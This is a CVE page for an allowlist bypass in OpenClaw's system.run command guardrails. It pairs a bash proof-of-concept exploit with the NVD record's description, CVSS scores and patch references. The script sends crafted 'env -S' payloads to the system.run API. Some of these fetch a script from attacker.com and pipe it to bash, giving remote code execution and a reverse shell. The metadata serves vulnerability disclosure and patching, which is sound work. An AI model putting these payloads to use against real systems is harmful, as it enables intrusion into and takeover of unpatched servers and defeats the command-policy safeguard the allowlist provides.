CVE-2026-31992

#!/bin/bash # CVE-2026-31992 PoC - OpenClaw allowlist bypass via env -S # Requires authenticated operator access to OpenClaw system TARGET="http://target-openclaw-server:8080" COOKIE="operator_session_cookie_here" # The vulnerable payload exploits env -S to bypass policy analysis # When /usr/bin/env is allowlisted, this payload executes arbitrary commands PAYLOAD='env -S "x=$(id>/tmp/pwned)"' # Example: Execute through OpenClaw's system.run API curl -X POST "${TARGET}/api/v1/system/run" \ -H "Cookie: session=${COOKIE}" \ -H "Content-Type: application/json" \ -d "{\"command\": \"${PAYLOAD}\"}" # Alternative: Direct shell wrapper payload via env -S PAYLOAD2='env -S "BASH_ENV=<(curl http://attacker.com/shell.sh)"' # The attacker can also chain commands using semicolons PAYLOAD3='env -S "x=$(curl http://attacker.com/rev.sh|bash)"'

{"cve": {"id": "CVE-2026-31992", "sourceIdentifier": "[email protected]", "published": "2026-03-19T02:16:04.070", "lastModified": "2026-03-19T19:00:06.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.23 contain an allowlist bypass vulnerability in system.run guardrails that allows authenticated operators to execute unintended commands. When /usr/bin/env is allowlisted, attackers can use env -S to bypass policy analysis and execute shell wrapper payloads at runtime."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a la 2026.2.23 contienen una vulnerabilidad de omisión de lista de permitidos en las barreras de seguridad de system.run que permite a operadores autenticados ejecutar comandos no deseados. Cuando /usr/bin/env está en la lista de permitidos, los atacantes pueden usar env -S para omitir el análisis de políticas y ejecutar cargas útiles de envoltorio de shell en tiempo de ejecución."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.23", "matchCriteriaId": "19EDA1E2-F0D6-44F4-A333-C32DCE286DA6"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/3f923e831364d83d0f23499ee49961de334cf58b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/a1c4bf07c6baad3ef87a0e710fe9aef127b1f606", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-48wf-g7cp-gr3m", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-exec-guard-bypass-via-env-s", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}